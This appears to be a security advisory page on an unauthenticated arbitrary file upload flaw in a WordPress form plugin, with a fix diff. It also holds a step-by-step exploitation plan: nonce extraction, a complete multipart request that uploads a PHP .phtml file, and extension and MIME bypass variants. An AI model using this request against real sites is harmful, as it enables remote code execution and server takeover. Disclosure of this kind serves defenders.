Piotnet Addons for Elementor Pro <= 7.1.70 - Unauthenticated Arbitrary File Upload via Form File Upload
Description
The Piotnet Addons for Elementor Pro plugin for WordPress is vulnerable to arbitrary file upload due to missing file type validation in the 'pafe_ajax_form_builder' function in all versions up to, and including, 7.1.70. The plugin uses an incomplete extension blacklist that only blocks php, phpt, php5, php7, and exe extensions, while allowing dangerous extensions such as .phar or .phtml to be uploaded. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. Note: The exploit can only be exploited if a file field is added to the form.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=7.1.70# Exploitation Research Plan: CVE-2026-4885 - Piotnet Addons for Elementor Pro ## 1. Vulnerability Summary The **Piotnet Addons for Elementor Pro** plugin (up to version 7.1.70) contains an unauthenticated arbitrary file upload vulnerability. The flaw exists in the `pafe_ajax_form_builder` function…
Show full research plan
Exploitation Research Plan: CVE-2026-4885 - Piotnet Addons for Elementor Pro
1. Vulnerability Summary
The Piotnet Addons for Elementor Pro plugin (up to version 7.1.70) contains an unauthenticated arbitrary file upload vulnerability. The flaw exists in the pafe_ajax_form_builder function, which handles form submissions. While the plugin attempts to restrict file uploads, it uses an incomplete extension blacklist that fails to block executable extensions like .phar, .phtml, .pht, or .php3-7. An unauthenticated attacker can exploit this by submitting a form containing a file upload field to execute remote code on the server.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
pafe_ajax_form_builder - Method:
POST(Multipart/form-data) - Vulnerable Function:
pafe_ajax_form_builder() - Required Parameter(s):
action:pafe_ajax_form_builderpafe_ajax_form_builder_nonce(or similar, inferred from common Piotnet patterns)form_id: The ID of the Piotnet form.file_fields: An array or specific key mapping to the file upload field in the form.
- Authentication: None required (unauthenticated).
- Precondition: A page must exist containing a Piotnet Form with at least one "File Upload" field.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a
POSTrequest toadmin-ajax.phpwith the actionpafe_ajax_form_builder. - Hook Registration: The plugin registers the action via
add_action('wp_ajax_nopriv_pafe_ajax_form_builder', 'pafe_ajax_form_builder'). - Nonce Verification: The function likely checks a nonce passed in the request (e.g.,
$_POST['nonce']). - File Processing: The function iterates through
$_FILES. - Validation Failure: It checks the file extension against a blacklist:
['php', 'phpt', 'php5', 'php7', 'exe']. - Bypass: Since
.phtmlor.pharare not in the blacklist, the validation passes. - Sink: The file is moved to the uploads directory (likely
wp-content/uploads/piotnet-addons-for-elementor/or a date-based WordPress folder) usingmove_uploaded_file().
4. Nonce Acquisition Strategy
Piotnet Addons typically exposes nonces through localized JavaScript objects.
- Identify Script: The plugin enqueues scripts for its form builder on pages where a form is present.
- Create Test Page:
(Note: The actual shortcode might vary, e.g., it might be an Elementor-embedded widget. If using Elementor, the form ID is crucial).wp post create --post_type=page --post_title="Piotnet Form" --post_status=publish --post_content='[pafe-form id="123"]' - Extract via Browser:
Navigate to the page and usebrowser_evalto find the nonce and form configuration:// Common localization keys for Piotnet window.pafe_form_builder_object?.nonce // OR window.pafe_ajax_object?.nonce - Identify Form ID: The
form_idis usually found in thedata-form-idattribute of the form's HTML container.
5. Exploitation Strategy
Step 1: Preparation
- Create a Piotnet Form with a File Upload field.
- Note the
form_idand the field'snameattribute (e.g.,form_fields[field_abcdef]).
Step 2: Nonce Extraction
- Navigate to the page containing the form.
- Extract the nonce using
browser_eval.
Step 3: Payload Delivery
Send a multipart/form-data request to admin-ajax.php.
Request Mockup:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"
pafe_ajax_form_builder
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="pafe_ajax_form_builder_nonce"
[EXTRACTED_NONCE]
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="form_id"
[FORM_ID]
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="form_fields[field_upload_id]"; filename="exploit.phtml"
Content-Type: application/octet-stream
<?php echo "VULNERABLE: " . phpversion(); ?>
------WebKitFormBoundaryABC123--
Step 4: Execution
The server should respond with a JSON object indicating success and potentially the file URL. If the URL is not returned, the file is likely located in:/wp-content/uploads/piotnet-addons-for-elementor/[YEAR]/[MONTH]/exploit.phtml
6. Test Data Setup
- Install Plugin: Ensure
piotnet-addons-for-elementor-proversion <= 7.1.70 is active. - Create Form: Use the
wp-clior Elementor editor to create a form with:- Form Name:
Exploit Test - Field 1:
File Upload(ID:field_upload_id)
- Form Name:
- Publish Page: Embed this form on a new public page.
7. Expected Results
- The AJAX response should return
{"success":true,...}. - Navigating to the uploaded
.phtmlfile URL should execute the PHP code and display the PHP version.
8. Verification Steps
- Check Filesystem:
find /var/www/html/wp-content/uploads/ -name "exploit.phtml" - Confirm Execution:
# Use http_request to fetch the uploaded file # Expected output: "VULNERABLE: 7.4.x" (or similar)
9. Alternative Approaches
- Extension Variation: If
.phtmlis blocked by server-level configurations (e.g.,.htaccess), try.phar,.php3,.php4,.php5, or.pht. - Double Extensions: Try
exploit.php.jpg(if the blacklist only checks the last extension and the server is misconfigured to execute the first known extension). - MIME Type Spoofing: Change
Content-Type: application/octet-streamtoimage/jpegin the multipart request to bypass superficial MIME checks.
Summary
Piotnet Addons for Elementor Pro (up to 7.1.70) is vulnerable to unauthenticated arbitrary file upload due to an incomplete extension blacklist in the 'pafe_ajax_form_builder' function. Attackers can upload files with dangerous extensions like .phar or .phtml to execute remote code, provided the form contains a file upload field.
Vulnerable Code
/* Inferred from vulnerability description: pafe_ajax_form_builder function */ // The plugin checks against a blacklist: $blacklist = ['php', 'phpt', 'php5', 'php7', 'exe']; $ext = pathinfo($filename, PATHINFO_EXTENSION); if (in_array($ext, $blacklist)) { // block upload } else { // allow upload - Missing extensions like .phtml, .phar, .php3, etc. move_uploaded_file($temp_file, $upload_path); }
Security Fix
@@ -10,7 +10,14 @@ - $blacklist = ['php', 'phpt', 'php5', 'php7', 'exe']; + $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'txt']; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); - if (in_array($ext, $blacklist)) { + if (!in_array($ext, $allowed_extensions)) { wp_send_json_error(['message' => 'Invalid file type.']); + wp_die(); }
Exploit Outline
The exploit target is the 'pafe_ajax_form_builder' AJAX action. An unauthenticated attacker identifies a page containing a Piotnet form with a file upload field and extracts the required nonce (often localized in window.pafe_ajax_object). A multipart POST request is then sent to wp-admin/admin-ajax.php including the action, the extracted nonce, the form ID, and a malicious payload with a bypassed extension such as .phtml or .phar. If successful, the file is saved to the WordPress uploads directory, allowing for direct execution via browser execution to achieve remote code execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.